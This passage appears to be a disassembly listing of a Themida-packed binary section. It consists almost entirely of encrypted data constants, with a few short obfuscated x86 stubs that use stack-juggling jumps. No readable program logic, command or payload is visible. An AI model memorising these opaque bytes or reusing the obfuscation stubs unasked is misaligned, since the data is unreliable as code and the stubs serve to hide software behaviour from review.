1C0F6DCCh, 6DCC4CA6h, 382AE23Eh dd 0CC4CF151h, 3D19156Dh, 0E9835E20h, 8BA4F305h, 323D03CBh dd 0B13256B4h, 0B126D558h, 0BEDB56ABh, 0F03256D5h, 9F0AD95Fh dd 1963B725h, 7F77FC06h, 5DB9464Bh, 0B1325C47h, 0CF66E257h dd 0C83A541Dh, 59CA9B64h, 5E983EAh, 0F1B0A4F3h, 7AF29D11h dd 0FB2375FDh, 6D348C17h, 3FD525FBh, 9EADFDF5h, 2291627Ah dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 0F3A6987Ch dd 0FFA073EAh, 0E983F296h, 8BA4F305h, 26BD8DDBh, 8D0617A6h dd 182DB18Dh, 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h dd 754904C7h, 0EE9F6h, 95A70000h, 0CD5292D8h, 96123D9Bh dd 304D9092h, 48150F8h, 5F606824h, 0BE565826h, 265F6068h dd 605EF029h, 0F961C78Bh, 158DBD83h, 75000610h, 95BD8309h dd 61000h, 53501974h, 11B8C08Bh, 89000004h, 10132D85h dd 7C9D8D06h, 0FF0612B8h, 83585BD3h, 100095BDh, 17740006h dd 11B85350h, 89000004h, 10132D85h, 1D9D8D06h, 0FF0612B5h dd 60585BD3h, 42B7C3BFh, 0F2BF0F46h, 5E961h, 0BA530000h dd 682C55FBh, 1C44h, 58240489h, 18F0Fh, 60FC0000h, 81CA8B66h dd 9E937EEh, 0E8F86118h, 6, 0DF62F50Ah, 8B6688CEh, 0C3815BF0h dd 72CCh, 1C8968FCh, 0F5A0000h, 683h, 0E1E68100h, 8B1FEF3Fh dd 0AE83Bh, 0E1E30000h, 53BEA2E2h, 2A180768h, 8159C78Bh dd 410951EFh, 0CB8B665Bh, 78F4C781h, 13E860A3h, 0F3000000h dd 0E344A5CAh, 0F6A95526h, 7059532h, 0ABF2366Fh, 0EE8AC562h dd 0DBC7815Eh, 812ECA4Eh, 8F54B3E6h, 0DD805769h, 83038FC9h dd 0C78B04EBh, 1EA81h, 850F0000h, 17h, 0E9C38B66h, 20h dd 9E9E3B5Bh, 13D4BD8Bh, 3DEA7F21h, 80E8ECEBh, 80E994E1h dd 1CFFFFFFh, 665177D3h, 126C3F42h, 0EDE9h db 0 byte_5CE57D db 60h, 66h, 8Ch ; DATA XREF: Themida_:0054E4A4o dd 0F04A8D8h, 0DF84h, 41B58B00h, 83061014h, 850F00FEh dd 22h, 23E585C6h, 68450610h, 8E726969h, 1499B5FFh, 858D0610h dd 613858Ah, 8589D0FFh, 61009ADh, 3E80F08Bh, 31850FE9h dd 8D000000h, 159D9585h, 8BD0FF06h, 102955BDh, 84C78106h dd 8B000011h, 101441B5h, 0B9F78706h, 8, 0B58BA4F3h, 6101441h dd 0C1E7858Dh, 0D0FF0613h, 875B58Bh, 0FE830610h, 22850F00h dd 0C6000000h, 1023E585h, 0F4685406h, 0FFFF4EBEh, 101499B5h dd 8A858D06h, 0FF061385h, 758589D0h, 8B061008h, 0E93E80F0h dd 3A850Fh, 0B58B0000h, 6100875h, 9D95858Dh, 0D0FF0615h dd 2955BD8Bh, 0C7810610h, 1184h, 8B08C783h, 100875B5h dd 0B9F78706h, 8, 0B58BA4F3h, 6100875h, 0C1E7858Dh, 0D0FF0613h dd 858DC361h, 6183112h, 30398589h, 39E90610h, 62000000h dd 145447h, 0Dh dup(0) dd 49CE9h, 33776800h, 15E90618h, 68FFF84Eh, 61833E3h, 0F84E0BE9h dd 352168FFh, 1E90618h, 0C6FFF84Eh, 0EE6DE124h, 0CC4BFF36h dd 0D960DC15h, 0B645F936h, 7157D312h, 645E715h, 0E122C352h dd 0FD38EE6Dh, 0DC11BA41h, 98936D60h, 6BD44E2Ah, 0D747CDCAh dd 7C4002A9h, 2ADD6DCCh, 453D39EDh, 80BD72E9h, 0FD3CF06Bh dd 0A4D99209h, 1BFA1CAh, 9255BA0h, 0FE156AF4h, 6E528B42h dd 6134AD5Ch, 29B067FCh, 6A304D82h, 0EB5302EEh, 0A943C27h dd 0CE1FDA79h, 0AE397ADAh, 2D6h, 37BA151Ch, 6A213BA0h dd 67FC20F9h, 0D586411Dh, 91463EE0h, 98935261h, 9146092Ah dd 71216203h, 0E1FFD1F5h, 4609982Ah, 0CBA07C91h, 5D10CBB5h dd 0D7622F1Ch, 8100E7F9h, 5AEEBF6Ch, 61789B76h, 0A24E72ADh dd 225D11C8h, 88D5F26Eh, 6E906A71h, 37D31C7Dh, 0C16871F8h dd 9BB69901h, 8C7489E5h, 86D3579Dh, 5973EF91h, 4F02DE2h dd 4B354B20h, 78DEE722h, 658281E6h, 5EF735EEh, 6A1DF5F3h dd 30A7233Fh, 2B954277h, 0E5438014h, 2E9A831h, 0BBB0000h dd 0DF8514C8h, 0A534A8h, 0DF8413C7h, 0FDAF26A2h, 0E01C0ABEh dd 0CB7FBE72h, 0E458994Ch, 0C276B155h, 0E3578C33h, 0AD1514E8h dd 496BD44Fh, 96D7E06Ch, 0B9EDEC66h, 2FCEAB7Ch, 721933A8h dd 67F4E1C0h, 5E994D44h, 3FF16882h, 9D89BE65h, 7A01BD99h dd 0B46FCD6h, 0D16C3BE7h, 629424E1h, 0CFC774A9h, 0A14A0234h dd 27DE4F5h, 9F4F0000h, 0B359E05Ch, 9439C07Ch, 0B358DF5Bh dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h dd 0DF5B9037h, 0A91910ECh, 4D6BD44Fh, 0BD5CC450h, 39324C1Eh dd 31EF126Ch, 0D5782F79h, 66CCB794h, 7C67F4A2h, 0D9CD0ABDh dd 9E7A805Dh, 4BF7B2CCh, 0AB942426h, 10346D14h, 26F74B3Eh dd 130F9424h, 0A5214836h, 48942426h, 80BF71E8h, 0BC39D86Bh dd 3982CFF1h, 15DD1h, 79323B00h, 92395044h, 7584E15Dh dd 0EF6A9466h, 130F0338h, 116C4D36h, 0BE9A67FCh, 973B83D2h dd 0A9DA9423h, 3F1EEF0Ah, 31FE397Bh, 4C000000h, 4C1EBD5Ch dd 0C704A732h, 7CD8F9B2h, 0E23E67FCh, 83DF672Eh, 853E9423h dd 36C20BEEh, 3932397Bh, 0E8F0366Fh, 0FA35D940h, 0B54F01D6h dd 0BD000000h, 50447932h, 6AA95BDEh, 169DBAB6h, 483F3372h dd 0C9906A9Fh, 110DEA25h, 209CD17Ah, 0CC01FF69h, 6297506Dh dd 587A99E6h, 173A7E0h, 718B67A9h, 65269C8Fh, 62BE9233h dd 88B87385h, 689805A8h, 0C567F20Ch, 16E8D286h, 201FAF13h dd 6CEB4794h, 0AD897DB4h, 226103D0h, 6CA27B5h, 0AC3DE94Ah dd 13Fh, 0AA1E6111h, 8A3E752Bh, 0A11D560Bh, 8438751Ah dd 981453F5h, 802456B2h, 5B0E8D41h, 73179E1Ah, 4EF58438h dd 0D6AAA519h, 0D4496FD3h, 0A22A876Bh, 245D04D7h, 9035F470h dd 17B98257h, 0CBE094CFh, 3AED8CE0h, 41FDD9FDh, 8D4111BAh dd 2CBA6E52h, 235E04D7h, 6D68D46h, 0F5712560h, 0AFCEFFD1h dd 987DA82Ch, 79100EEBh, 0C4219DD2h, 0D5D4A635h, 67FC0BECh dd 7D3C0E0Ah, 0EED08CCBh, 877BB86Bh, 69D5CEABh, 0BE943C0Eh dd 53943505h, 2B9FC39Fh, 0CDB9F8ACh, 0A6DCh, 0A9D73000h dd 0CC7C4002h, 8C3C6F6Dh, 0DFB48923h, 0C716332Fh, 0DAD1AB30h dd 67F4CA7Ch, 0D1B8A698h, 9424CE71h, 50F29995h, 7F9424CEh dd 0DC10BB4Bh, 9C9888F0h, 16CDCCB8h, 35EE6DE1h, 8C451400h dd 67EA68E6h, 63A24615h, 596B3AFh, 0EB20C76Eh, 0CEA44A11h dd 0CF8DC19h, 0C8B5328h, 53721E53h, 27556AB0h, 0CA2E0306h dd 4B0AE627h, 0AFB35F94h, 43E8DF93h, 0C77B1A06h, 0F291988Ch dd 48FB6D53h, 0AADF88A9h, 0D88D4C2Eh, 31D4F39Fh, 3CF7D4F0h dd 0BD7C4E83h, 319FCC0Bh, 0E5CE266Ah, 0DCCDB98Eh, 3, 326D5F30h dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h, 815E5456h dd 4C6h, 4EE8300h, 5C243487h, 1CE768h, 241C8900h, 491C68h dd 243C8900h, 18326C68h, 241C8B06h, 4C481h, 8B540000h dd 0C483243Ch, 4EC8304h, 8F241C89h, 3C8B0847h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- db 3 dd 3685B825h, 0C5030618h, 7B50E0FFh, 4069636Fh, 16C21B8Fh dd 1926483Ch, 7D961A38h, 754E54BFh, 51325655h, 0D25D751Eh dd 0E0D00622h, 80294C7Dh, 3E2A200Dh, 6710AFBh, 1BF70A96h dd 42FC7A61h, 0DF72421Dh, 551A46A1h, 54266DAh, 54EB3879h dd 0A1BB0973h, 0B53F243Bh, 79EF3FF8h, 298F3221h, 0D45213F3h dd 47A8414Ch, 162732D3h, 8D8D1B7Ah, 61837ECh, 9A99D8Bh dd 0B70F0610h, 0F58D89F3h, 0E9061009h, 13h, 0C7707840h dd 0C680FB67h, 0E4009226h, 6B0A9712h, 0C7E45B7Dh, 10231985h dd 618406h, 0D0816600h, 85C758D7h, 61022C1h, 0 dd 0F919D31h, 0B5FF0610h, 61000CDh, 9E9h, 0AAF77F00h, 7788670Eh dd 9529D4ECh, 6101275h, 2DB995FFh, 6A0610h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0F3AC3h dd 0 dd 95FF006Ah, 61031C9h, 3EEBC08Bh, 0B129F951h, 6D69C59Dh dd 7746807Bh, 271B65EAh, 124FBEE6h, 0CC5CB780h, 0CD110717h dd 3E4F9AD8h, 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah dd 1B797235h, 800D1BDBh, 0A8A84D18h, 1AE99CFDh, 9E000000h dd 524B1551h, 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h dd 1077E900h, 49680000h, 0E906183Ah, 0FFF84810h, 183B5868h dd 4806E906h, 0C668FFF8h, 0E906183Dh, 0FFF847FCh, 183EEC68h dd 47F2E906h, 1E68FFF8h, 0E9061842h, 0FFF847E8h, 1842B768h dd 47DEE906h, 0F668FFF8h, 0E9061842h, 0FFF847D4h, 1843CE68h dd 47CAE906h, 4B68FFF8h, 0E9061844h, 0FFF847C0h, 1844BB68h dd 47B6E906h, 5A68FFF8h, 0E9061846h, 0FFF847ACh, 18476D68h dd 47A2E906h, 0C767FFF8h, 9B51C884h, 0BC71E864h, 9B50C783h dd 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h, 0D6528D41h dd 0B773A85Fh, 8141E8D4h, 656BD444h, 4D7BC88h, 0F36F235Eh dd 71A65DD6h, 285D0685h, 6EA95D7Ch, 401E1082h, 0CC7CF949h dd 2C411D6Dh, 9239F897h, 3CFFE15Dh, 0D95D4988h, 5B70AD62h dd 71ED2CE0h, 180C41EAh, 1995CA81h, 9CAE2DCCh, 2352F7C2h dd 0CC7CDA68h, 2DE3A6Dh, 7C8141E8h, 9656DCCh, 111237F4h dd 78F467FCh, 8027B28Ch, 0C9752E4Bh, 2C942397h, 0A9DE8554h dd 7650EFD4h, 150142E3h, 6A433C11h, 4A397B3Eh, 36h, 1EBD5CC0h dd 7C745D4Ch, 969267FCh, 194EF5C4h, 32F4096Dh, 3C7CDB63h dd 0E2B46C94h, 21D5F12Ch, 0D8CC01AAh, 309C33CEh, 50952C47h dd 397B357Dh, 0E35Dh, 4D7AF00h, 8C47245Dh, 78F29ED3h, 0B0CA0CC1h dd 9FB6AFEFh, 5AD6CAA6h, 0D312B67Dh, 0CAFFA81Fh, 0D308BFD6h dd 0B135B057h, 5D066DCCh, 7E25B428h, 0FEA43749h, 0BF8A6C3h dd 73AE54ECh, 0ADBFA37Fh, 44FEADD3h, 0A06DCCD7h, 43FFAAC4h dd 0A36DCCD7h, 0E8F9B2C7h, 0E67FCA1h, 0E0D56D1Ch, 3531943Ch dd 0B1489D11h, 301B502Ah, 0FB4742B0h, 1B943C65h, 21241A3Fh dd 27391F3Ch, 0DEF05239h, 1814943Ch, 16EB4843h, 2F2B9E0Ah dd 0ABEA9E1Dh, 0C504A82Fh, 37459318h, 3AAB7B40h, 0DE0h dd 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h, 40FC3BEDh dd 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h, 6E523DF1h dd 0D44607BBh, 3A02DF6Bh, 62497E32h, 6DCC7CE0h, 324C2804h dd 0DBC704A7h, 3DBC8257h, 4FDD5186h, 4C1EBD5Ch, 0C803A732h dd 7CDBF8B3h, 0D63B67FCh, 0CC9910C2h, 0A2BC98ECh, 41357617h dd 241608E5h, 98B5F295h, 236953EBh, 0A0BEB294h, 236959E9h dd 8A58BD94h, 0EA3FCDB3h, 93284521h, 2B8F9FCh, 0C898397Ch dd 0F2000000h, 2A447932h, 0A5C2F9AFh, 0EF2EE2F9h, 6CA95EDDh dd 0DF9FBCB8h, 0CC012DB8h, 1045FE6Dh, 96661D9Ch, 7BC7C2EDh dd 9B923387h, 73EFA3BFh, 0C74EA34Fh, 524F3A14h, 749803F1h dd 0D8DF44F8h, 6489C068h, 0C908334Bh, 0A1BB9725h, 15E058EAh dd 8E60BC9Eh, 0DA19CBh, 805D9239h, 0A4E7E4B6h, 235DBB00h dd 0CC8DD603h, 0BA46AAC6h, 2A72169Dh, 0B276C4E5h, 298EB2E0h dd 403693AEh, 0D1019282h, 0DA00000Ch, 0C239F538h, 0E057D30Ah dd 0BD3CF029h, 8A11CD0Ah, 3533A7E6h, 0AAE99BC9h, 0C506A72Eh dd 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch, 6BD447D6h, 32EBB12Eh dd 532D3F7Eh, 0CC7CEA58h, 970E0A6Dh, 66CAB6F5h, 954ECD91h dd 0D75EEC60h, 7C4002A9h, 29DD6DCCh, 6E1E02EEh, 0A55ED5F2h dd 0A66D5E70h, 2F6C1F83h, 0DD98830Ah, 0E087FE00h, 0CE782FABh dd 5F6DCC6Eh, 47416AA8h, 814DD212h, 65A6CBB5h, 0F7DBF70Ah dd 73B256E5h, 44FEAD7Fh, 0A06DCC3Fh, 13CBA0C4h, 0FAA6DB84h dd 0DC13B980h, 0C1FEB128h, 587551D5h, 37E624DBh, 16D320FBh dd 8CC1B591h, 4D7E58F7h, 0EF7BBBE0h, 0DB587593h, 803BEF24h dd 336A502Dh, 0AE0Dh, 5E4D3300h, 6DCCA6E4h, 0CA358DCBh dd 0EAA256BAh, 5CD3596Eh, 5D4C1EBDh, 67FC0264h, 0ABFAA682h dd 94238613h, 0A822C1F2h, 4E427D31h, 0AF02F5D2h, 8F397B2Fh dd 77h, 2A9D7FDh, 6DCC7C40h, 0F8B3C8A4h, 6DCC7C4Fh, 0DEF0EB0Ah dd 7CB90900h, 0F85D6DCCh, 0C9C2D49Dh, 9AAF932Dh, 4202C3C6h dd 60BC67FCh, 1FD912ECh, 2806405Dh, 3AE625C7h, 763D1A36h dd 12DF93D2h, 306D803h, 9E0C3E16h, 0DD16CB8Eh, 0AA1EFA00h dd 4346772Bh, 9E2C52FFh, 4B371B17h, 627C5F76h, 48B14F7Ch dd 217B3FA6h, 0F0BA5F4Ch, 0D04C941Ch, 89FEB5Ch, 5C610000h dd 324C1EBDh, 32452139h, 1E3B3521h, 0FC438465h, 0FAA68267h dd 3C4713ABh, 22C1F294h, 3F8031A8h, 0EE9C752Ah, 0DF0C397Ah dd 0A1D60581h, 0E1D1BA2Bh, 44475E8Bh, 148C4419h, 0B2000000h dd 5D498227h, 22804D9h, 6DCC7C44h, 0FBE0C374h, 5C39FFFFh dd 69F415BDh, 0A0892D5Fh, 0ACC8ACEDh, 0C4D2D7D2h, 78F467FCh dd 31917866h, 0D5943CC4h, 0D3828459h, 943CC46Bh, 9F5AF98Ah dd 397A724Eh, 5002Eh, 0C7159C00h, 36489322h, 0FC20EE73h dd 0AE53E667h, 0CBA58175h, 23A062E0h, 0D1A68294h, 29D255D1h dd 42E6F1BEh, 0ADBF1CBBh, 0D6B205FEh, 6B85E137h, 2B292C82h dd 0D8F5406Fh, 0A13AD926h, 0DCCFB1CFh, 27D62E66h, 4FF3A27Eh dd 0E027D62Eh, 1E02EE2Bh, 3D5F26Eh, 0E1D32008h, 6A84E02Dh dd 3BF6A94h, 0E329CAB1h, 42E97287h, 21CA510Dh, 62667FECh dd 6E26F7ECh, 0A6365h, 77BA6C00h, 558C34C3h, 72AB62D9h dd 4F8C3FB6h, 69A85CDBh, 598BF7F5h, 35C478B7h, 60D75394h dd 3CBB6FAAh, 0EFDA4E83h, 41A41E0Dh, 63406BD4h, 447932D9h dd 87546350h, 17D08B75h, 15322EE2h, 0FC11356Eh, 7B55D167h dd 5BCF0AC0h, 11EB26DCh, 7AB7DDDCh, 502DD733h, 65BB074Eh dd 0DA649423h, 95942315h, 5D835D7Eh, 237514AEh, 5774F094h dd 28DC5F81h, 24393DE9h, 1324DA67h, 0EA9F1A9Eh, 0A472D0BBh dd 96929E12h, 81DD9DBAh, 0A478C695h, 16CD9E12h, 0F29635E1h dd 0A758BFB3h, 0A0D3C408h, 0F09BC501h, 9E12A452h, 0FFF34EBh dd 1266410Ah, 431F6245h, 5BA07126h, 2C803F8Ch, 0CA000000h dd 4C1EBD5Ch, 48FA1E1Fh, 0CC6FE161h, 4429056Dh, 0B794B3D0h dd 46FCBFA1h, 5B964C0Bh, 0F764857Eh, 462267FCh, 2E495Ah dd 5CC30000h, 5D4C1EBDh, 67FC1B34h, 498629B0h, 0FE04D95Dh dd 35364822h, 8F79B8DEh, 9032D956h, 0AD942315h, 6CC8BCFBh dd 2E691DB4h, 43493512h, 97447932h, 0B3EAAF74h, 3D9B0C18h dd 46000009h, 6EED61A4h, 4CCB7FB6h, 59E05C95h, 36C579B6h dd 0F1D75392h, 86C56795h, 61A243D2h, 7DB86EEDh, 5C913AC1h dd 1813EDE0h, 6BD442AAh, 5CC74D4Ah, 5D4C1EBDh, 67FC2BE0h dd 2A3419FEh, 0E8C87327h, 3F76E7E1h, 864521DBh, 74F0A4E1h dd 7E25A450h, 675FF440h, 0A9CDE98Fh, 0D9904B35h, 0E7E0CBA0h dd 0DDFF6C3Bh, 5A1605F0h, 0E3F8E870h, 0E8647782h, 8D5F7C9Bh dd 0CC938760h, 1DD20AF7h, 4AD704E0h, 0B03911E0h, 77324623h dd 0B55F291Ah, 6DAE5FDAh, 0E28E8A90h, 0F4063DE3h, 63984F0Ah dd 5F6E0EB4h, 0CB8AE6A1h, 492DD91Ah, 0BE55AA34h, 503C0314h dd 99BD839Fh, 0DA7FC4C7h, 9B97AB6Fh, 0BA06C0E7h, 0CEE5AB4Fh dd 645FB237h, 0B1CF6CE7h, 4FC248FAh, 9BB0ACABh, 15435h dd 0BD5C9700h, 0E05D4C1Eh, 0FE67FC2Bh, 0ADC57D2Ch, 45219423h dd 0AD567521h, 2CD36678h, 825CE2F7h dd 698BF649h, 6C81A3E7h, 0F0338EFh, 6C827F48h, 740BB4FFh dd 0E0CBF6ADh, 0BF680662h, 0ECAA682h, 0F7ABE087h, 274C97B0h dd 0BBB5D4h, 25E1247h, 76BF56E5h, 0B4CFDCDh, 4A411B17h dd 0C69543F8h, 4A24401Ch, 0FFAADB8Fh, 0C6954343h, 0F7ABC7A3h dd 61D85E7Bh, 368C7FAAh, 0CEC69543h, 0A8826E52h, 5D4C7D31h dd 0C69543E5h, 55412501h, 77B65AD1h, 33D2A78Bh, 94C62BA7h dd 30F62C95h, 95243A14h, 0BC58AAF4h, 75B5E707h, 0AC1A551h dd 0FC782C61h, 65FE24DFh, 0E574C695h, 984F0641h, 98948663h dd 0A338BF24h, 1F5E12C9h, 6DAEF73h, 0A51DE203h, 0FCA9CCCh dd 0CE742358h, 26C8856Dh, 8554264Ah, 4AF8B3DEh, 0AAC8856Dh dd 82DE92AEh, 6922B965h, 4A017834h, 0BC98D57Ah, 6D49A1C8h dd 4D23C885h, 1E9DD88Eh, 6C4F2C69h, 5E934CD5h, 0A64910EAh dd 0A4B9BD69h, 0F125A5E7h, 9E3DC054h, 24F4AB2Ah, 0D65A467Bh dd 135F06FAh, 0D0D7737Ah, 1AD150EFh, 39F269E5h, 14A31004h dd 4E68DAD1h, 908CC761h, 2AEF9AB4h, 0DCCD5116h, 67F2CC80h dd 0F87186C5h, 3Ch, 1EBD5C44h, 8BC5D4Ch, 0CE4A67FCh, 0C6FDA322h dd 86471512h, 0B5C714A8h, 239254F6h, 9AB4B094h, 0F22CD3B1h dd 0F13FF3Eh, 57B80D2Ah, 0BFA17F82h, 23AE76CCh, 52F78E94h dd 84203D19h, 2A97932h, 795DD9CDh, 0F22FD467h, 914522FEh dd 2436A534h, 0FC192465h, 7486E267h, 0E01BCF8Ah, 0B4F39534h dd 4A00BB90h, 661C9B0Fh, 0F39FDA90h, 529F536Fh, 434618C3h dd 9E13F21Eh, 0A1C8BCB8h, 9E13C225h, 34469524h, 2393CC75h dd 422E2A94h, 3F1AB13h, 9A394A80h, 9BA88E5Fh, 853BFE45h dd 0A9BEA24Eh, 3047h, 0BD5C8500h, 0D68D4C1Eh, 5C71F5A1h dd 8648584h, 0AB2267FCh, 6BC7BBF8h, 28172F7Eh, 472B0C3Dh dd 2C4A5Bh, 88760000h, 234221A1h, 9469C594h, 1EBD5CB8h dd 1B345D4Ch, 0BBD267FCh, 0FAB1CB08h, 94239D48h, 0BA94B0ACh dd 588C0791h, 14E9ED7Bh, 79326412h, 0AF7A9744h, 212B3EAh dd 60B91h, 2F721400h, 0D44FC7Bh, 0EA23CA51h, 744E76Eh dd 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh, 0B83FFB3Ch, 0D463D712h dd 4742F62Bh, 3E0CB675h, 0BE86BD4h, 4596D741h, 0BF7F0E69h dd 95320CE1h, 84568594h, 0FC311C85h, 0E35EBA67h, 68BBCE34h dd 10B5845Ah, 546302D7h, 5269097Eh, 0CB80C841h, 0BC8EB28Eh dd 397217A2h, 5C994E4Dh, 0D3A8CCA8h, 55CA87D8h, 4F431F50h dd 76885362h, 65F37DB3h, 47191556h, 0B1ECA219h, 0CF8C61C5h dd 0F067E318h, 22550237h, 6E986325h, 5722DB6h, 0CB7B0000h dd 9F45D488h, 0C065F468h, 9F44D387h, 0BD6FE662h, 0A0DCCA7Eh dd 8B3F7E32h, 0A418590Ch, 82367115h, 0A3174CF3h, 6DD5D4A8h dd 896BD43Eh, 7932A02Ch, 0AF569744h, 0EEA6B3EAh, 533E5h dd 478A3C00h, 255C0493h, 427B32A9h, 1F5C0F86h, 39782CABh dd 97B8785h, 25B42867h, 10874384h, 2CAB1F5Ah, 9F8A3E73h dd 3E54EE9Dh, 33B06BD4h, 44793269h, 0EC546350h, 0E12FE33h dd 8D711832h, 7967F434h, 5571AC62h, 0D36D8CD9h, 260AF62Dh dd 0D479304Ah, 329E1BD6h, 0A31B4A36h, 429E1BDAh, 96579231h dd 63F9383h, 81568D33h, 9ECFh, 1C0FF100h, 9E1BE2A6h, 3F05E23Eh dd 0A138B915h, 0F869203Ah, 1E67FC20h, 28432842h, 0DFCF3747h dd 38DF708Dh, 0A7283DE0h, 0EB28DB5Eh, 0FC464537h, 1847245Dh dd 0C223381Ch, 0A8D6A833h, 4E427D31h, 0F50EF5D2h, 914D1438h dd 514E195h, 270504D6h, 0DF432385h, 39F26983h, 1AD14804h dd 0D03D78E5h, 8591AD2Eh, 45B14h, 7FC26400h, 5D944CCBh dd 7AB35AE1h, 579437BEh, 71B054E3h, 41B3CFBDh, 5DDC508Fh dd 68EF6BACh, 44D387C2h, 0F7F2669Bh, 3FBC0605h, 5B586BD4h dd 7840D1h, 5C8C0000h, 5D4C1EBDh, 67F434A9h, 0FA484335h dd 1A942BB4h, 9148223Eh, 2B620ADAh, 63D7FB77h, 0AF62BD4h dd 0A3BD1EB5h, 1BC3D7E8h, 3F332F9Eh, 66786372h, 2BB19EA3h dd 0AA617894h, 0B7EC5175h, 0FF5E2D05h, 3DEBE27h, 47E70000h dd 1BD14804h, 3CF168E4h, 1BD04703h, 39EB6ADEh, 3C483EFAh dd 5FDB1ACEh, 38F435D8h, 56D20DC1h, 37F328DFh, 1C16854h dd 0E56BD438h, 40023C08h, 826DCC7Ch, 2BD714B7h, 0CD793247h dd 76DCC7Ch, 78558C34h, 0F30DCEE5h, 9594BF68h, 6DCC7C2Dh dd 9D896DC9h, 0ED9CC499h, 67F43409h, 0E8D79F5h, 6CBB2055h dd 0A04A0D67h, 36EE3F4h, 0D7770000h, 0EBA11894h, 0CC81F8B4h dd 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h dd 86427D31h, 0A723580Fh, 71D1B8C4h, 956BD438h, 79328C18h dd 7CE75B4Eh, 0AACA6DCCh, 711A911h, 60D7534Bh, 0A05470A9h dd 6A21C453h, 6DCCFCD8h, 0EA04E03Ch, 8E82B96Fh, 0BDA3B592h dd 390E47FEh, 0FC8D5552h, 2FEC7167h, 0F64C3F09h, 0E943C1Eh dd 2B2B2512h, 94B0EDA2h, 1C386F15h, 5CEDE9A0h, 0AE620225h dd 883CBB6Fh, 58E35D49h, 0A56476B3h, 0E23B5B1Dh, 0FD607DF9h dd 669F46FAh, 7943ADBAh, 5F1F091Ch, 11EB5F83h, 0C3EB98DCh dd 0CA9FD4C9h, 5E04D702h, 0D68D4623h, 539ECFA1h, 24510C2Fh dd 45444217h, 90F5699Eh, 2D494989h, 0AA6DB20Ah, 0FCAB4C6h dd 0F175215Ah, 800A2FDCh, 20FC67FCh, 7992574h, 477C943Ch dd 0AE844DA8h, 3964397Ah, 0A6000000h, 4C1EBD5Ch, 0C902A732h dd 7CDAF7B4h, 441A67FCh, 2383FD45h, 0D7E9E494h, 0E9A87776h dd 0CB7E3D39h, 0B1AD6D8Ah, 0AF2896C5h, 0B8CB9423h, 6311DC19h dd 0AFF1397Bh, 5B000000h, 3A97932h, 20570DCCh, 97395044h dd 762DAC58h, 8D365541h, 0FB38658h, 35E626CBh, 4E72C1EEh dd 9B06C579h, 6C6DCC1Ch, 0ED6C7EB3h, 10140037h, 4BF4833Bh dd 7E956A16h, 4388835Dh, 367FC17h, 0C74EB327h, 7B4F3A14h dd 8B9E0AB0h, 4AFEBD8Fh, 0DE0FF10Bh, 0F40A9251h, 5BD6C4Eh dd 1A9E1114h, 0EC483875h, 1CD0470Fh, 0C7C770DDh, 0AF674037h dd 1CF26h, 0F336D800h, 0D108C037h, 0EE27DE5Dh, 0CB08BB3Ah dd 0A5E4880Fh, 95C74329h, 81F8B4F3h, 9C1B8FD0h, 0A82FABE6h dd 1B0ECAFFh, 3AD86A21h, 5F3C6BD4h, 3F7E32D5h, 1E530C8Bh dd 0BD5C1CAAh, 745D4C1Eh, 7067FC7Ch, 160A45E9h, 0E13D3D1Ah dd 7CD86635h, 453B943Ch, 7CD2701Bh, 3632943Ch, 0E7E38221h dd 397522E6h, 0FBD07794h, 7A6DA904h, 0DB8939h, 0D7030000h dd 0E68A5C04h, 5B77FBA7h, 0D90EB57Eh, 0DF88532Dh, 5D7AF6AAh dd 0FFF332D6h, 0CC01CD58h, 30651E6Dh, 7517A27Ch, 11E64A36h dd 1FD1A14Ah, 0BC689F45h, 8CE89CB8h, 34E017CDh, 113A1430h dd 46F81B67h, 5945223Bh, 0BC8E4D6Ch, 0F342A9A2h, 0A930BD15h dd 33384002h, 0ACC8A492h, 386BD7D2h, 8F8B9233h, 4B08D1BAh dd 1D9C9803h, 661C3166h, 926C4E0Ah, 234D2B97h, 7A4FCB94h dd 3D0FCCEBh, 15809D4Eh, 1DC6079Eh, 943F361Eh, 0DA564C21h dd 58973900h, 74B355E4h, 366974C7h, 7B6C3840h, 0BCh, 66E225C5h dd 460239EFh, 6DE11ACFh, 40FC39EEh, 64D817B9h, 44E81A66h dd 1FD24905h, 37EB6ADEh, 12B940FCh, 926E61DDh, 0D43B2B97h dd 46CECB6Bh, 8B3F7E32h, 0AA1E530Ch, 6104D71Ch, 0EFA3E485h dd 24A34F73h, 0D0544081h, 0A35CD7F4h, 45F81A65h, 6E52FA0Eh dd 14B7825Ch, 60472BD7h, 6DCC3EE2h, 55542602h, 6DCC3EEDh dd 4E502D09h, 0DF5B9037h, 96687382h, 0F4765F93h dd 877BF767h, 0A6225710h, 4F43782Fh, 291E2B08h, 18B70821h dd 813D7219h, 681C51FAh, 43E6BE71h, 0A032DE02h, 0E1587211h dd 5FDCF12Eh, 0E5B773A8h, 42AE1DE8h, 0DFFC1864h, 8A76AB54h dd 319h, 6D5F7300h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h db 0CFh byte_5CFCB9 db 57h, 89h, 0E7h ; DATA XREF: Themida_:0054CFA0o ; Themida_:0054E4C0o dd 4C781h, 0BE560000h, 4, 875EF729h, 685C243Ch, 5902h dd 52243489h, 0C281E289h, 4, 4EA81h, 14870000h, 2C895C24h dd 5BD4BE24h, 0BA5216B0h, 10A8631Fh, 835AD631h, 248904ECh dd 24048324h, 0EC815D04h, 4, 8F243489h, 2C8B0845h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop 